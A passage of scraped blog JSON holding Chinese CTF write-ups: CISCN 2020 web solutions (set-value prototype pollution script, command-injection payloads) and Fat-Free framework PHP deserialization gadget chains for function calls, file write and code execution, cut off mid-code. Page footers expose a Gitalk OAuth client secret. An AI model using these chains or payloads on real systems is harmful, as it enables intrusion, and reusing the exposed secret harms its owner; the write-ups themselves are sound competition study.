{\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2020/09/01/Security/Writeup/GACTF-2020-Web/"},{"title":"第十三届全国大学生信息安全竞赛西北赛区 Web题目 Writeup","time":"2020-08-20T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"littlegame\"\u003elittlegame\u003c/h2\u003e\u003cp\u003ejs原型链污染,\u003ccode\u003eset-value\u003c/code\u003e库3.0.0旧版本。公开exploit如下:\u003c/p\u003e\u003cfigure class=\"highlight javascript\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e setFn = \u003cspan class=\"built_in\"\u003erequire\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;set-value\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e paths = [\u003cspan class=\"string\"\u003e\u0026#39;constructor.prototype.a0\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;__proto__.a1\u0026#39;\u003c/span\u003e,];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e (\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e p \u003cspan class=\"keyword\"\u003eof\u003c/span\u003e paths) { setFn({}, p, \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e); }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003elet\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; paths.length; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (({})[\u003cspan class=\"string\"\u003e`a\u003cspan class=\"subst\"\u003e${i}\u003c/span\u003e`\u003c/span\u003e] === \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003econsole\u003c/span\u003e.log(\u003cspan class=\"string\"\u003e`Yes with \u003cspan class=\"subst\"\u003e${paths[i]}\u003c/span\u003e`\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})()\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e拿来主义,用就完了\u003c/p\u003e\u003cp\u003e阅读源码,可以发现在\u003ccode\u003e/Privilege\u003c/code\u003e处进行了\u003ccode\u003eset-value\u003c/code\u003e调用,并且在\u003ccode\u003e/DeveloperControlPanel\u003c/code\u003e处检查了\u003ccode\u003eAdmin\u003c/code\u003e对象(一个普通的数组)的任意可控属性,那污染字典类型的原型,添加一个自定义属性即可。\u003c/p\u003e\u003cp\u003e最终exploit:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehost = \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses.get(host + \u003cspan class=\"string\"\u003e\u0026#39;/SpawnPoint\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eses.post(host + \u003cspan class=\"string\"\u003e\u0026#39;/Privilege\u0026#39;\u003c/span\u003e, data={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;NewAttributeKey\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;__proto__.pwd\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;NewAttributeValue\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;frankli\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.post(host + \u003cspan class=\"string\"\u003e\u0026#39;/DeveloperControlPanel\u0026#39;\u003c/span\u003e, data={\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;key\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;pwd\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;password\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;frankli\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}).text)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"babyunserialize\"\u003ebabyunserialize\u003c/h2\u003e\u003cp\u003e见\u003ca href=\"https://blog.frankli.site/2020/08/21/fatfree%20POP/\"\u003e另一篇博客\u003c/a\u003e\u003c/p\u003e\u003ch2 id=\"easytrick\"\u003eeasytrick\u003c/h2\u003e\u003cp\u003e一开始是联想到了Nu1l在某处的论坛里发的利用\u003ccode\u003eException\u003c/code\u003e的\u003ccode\u003e__toString\u003c/code\u003e来绕过判等(属性不同,不强等于),但是无奈太长了\u003cbr/\u003e\u003ccode\u003eSimpleXMLElement\u003c/code\u003e也找不到合适的方式利用(有可能么?)\u003c/p\u003e\u003cp\u003e后来想了想,不可能是利用对象的\u003ccode\u003e__toString\u003c/code\u003e来绕过,因为这样无法同时绕过三个判断\u003c/p\u003e\u003cp\u003e最后发现\u003ccode\u003e1.00...001\u003c/code\u003e在转字符串的时候会变成\u003ccode\u003e1\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003etrick\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e trick1 = \u003cspan class=\"number\"\u003e1.00000000000001\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e trick2 = \u003cspan class=\"number\"\u003e1.000000000000001\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(serialize(trick()))\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"剩下两道就放个payload吧。。\"\u003e剩下两道就放个payload吧。。\u003c/h2\u003e\u003cul\u003e\u003cli\u003erceme: 没过滤反引号 \u003ccode\u003e?a={if:var_dump(``ls``)}{end if}\u003c/code\u003e\u003c/li\u003e\u003cli\u003eeasyphp: Apache收到SIGUSR1的时候会软重启 \u003ccode\u003e?a=call_user_func\u0026amp;b=pcntl_wait\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2020/08/21/Security/Writeup/CISCN%202020/"},{"title":"fatfree framework POP链挖掘","time":"2020-08-20T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eWeb狗无法在险恶的CTF世界中存活\u003c/p\u003e\u003cp\u003eCISCN2020 落幕,web所有题加起来还不如misc/crypto/re题的零头,吐了\u003c/p\u003e\u003cp\u003e这里写一下babyserialize的题的题解,其它题有心情了再写\u003c/p\u003e\u003ch2 id=\"babyserialize\"\u003ebabyserialize\u003c/h2\u003e\u003cp\u003e前段时间在WMCTF中挖的链被断掉了,稍微改一改\u003c/p\u003e\u003cp\u003e第一次见flag直接放phpinfo里头的。。。找了半天没找到。。。\u003c/p\u003e\u003cp\u003e在这里把挖到的几条链都放一下吧\u003c/p\u003e\u003ch3 id=\"单个任意参数调用任意函数\"\u003e单个任意参数调用任意函数\u003c/h3\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;CLI\u0026#39;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eWS\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# call func with one param\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003e__init__\u003c/span\u003e(\u003cspan class=\"params\"\u003eself, func, param\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e @namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;CLI\u0026#39;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eAgent\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eBase\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e @namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;DB\\\\Jig\u0026#39;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eMapper\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e @namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;DB\\\\SQL\u0026#39;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eMapper\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e protected_props = {\u003cspan class=\"string\"\u003e\u0026#39;read\u0026#39;\u003c/span\u003e: func}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e protected_file = param\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e protected_db = Mapper()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e events = {\u003cspan class=\"string\"\u003e\u0026#39;disconnect\u0026#39;\u003c/span\u003e: [Mapper(), \u003cspan class=\"string\"\u003e\u0026#39;insert\u0026#39;\u003c/span\u003e]}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e protected_server = Base()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e self.a = Agent() \u003cspan class=\"comment\"\u003e# autoload\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# payload: serialize(WS())\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"任意文件写\"\u003e任意文件写\u003c/h3\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;DB\u0026#39;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eJig\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# write file\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e lazy = \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e data = {\u003cspan class=\"string\"\u003e\u0026#39;frankli.php\u0026#39;\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;asdf\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;\u0026lt;?php phpinfo();exit();?\u0026gt;\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edir\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#39;/tmp/\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eformat\u003c/span\u003e = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"任意(存在的)文件包含\"\u003e任意(存在的)文件包含\u003c/h3\u003e\u003cp\u003e结合上面调用函数的链调用\u003ccode\u003e\\View-\u0026gt;render\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eView\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# arbitrary **exisiting** file inclusion\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eBase\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e TEMP = \u003cspan class=\"string\"\u003e\u0026#39;/tmp/\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e UI = \u003cspan class=\"string\"\u003e\u0026#39;/tmp/\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fw = Base()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.get(url, params={\u003cspan class=\"string\"\u003e\u0026#39;flag\u0026#39;\u003c/span\u003e: serialize(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e WS([View(), \u003cspan class=\"string\"\u003e\u0026#39;render\u0026#39;\u003c/span\u003e], \u003cspan class=\"string\"\u003e\u0026#39;frankli.php\u0026#39;\u003c/span\u003e))}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e).text)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"wmctf的时候挖的rce链\"\u003ewmctf的时候挖的rce链\u003c/h3\u003e\u003cp\u003e结合上面调用函数的链调用\u003ccode\u003e\\Preview-\u0026gt;resolve\u003c/code\u003e\u003cbr/\u003e然而这次\u003ccode\u003eresolve\u003c/code\u003e被删了\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;CLI\u0026#39;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eWS\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e @namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#39;CLI\u0026#39;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eAgent\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eF3\u003c/span\u003e:\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 随便一个存在的类\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003ePreview\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eBase\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e hive = {\u003cspan class=\"string\"\u003e\u0026#39;node\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003ef\u0026#39;\u0026lt;?php system(\u0026#34;ls\u0026#34;);die(1);?\u0026gt;\u0026#39;\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fw = Base()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e events = {\u003cspan class=\"string\"\u003e\u0026#39;disconnect\u0026#39;\u003c/span\u003e: [Preview(), \u003cspan class=\"string\"\u003e\u0026#39;resolve\u0026#39;\u003c/span\u003e]}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e server = F3()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a = 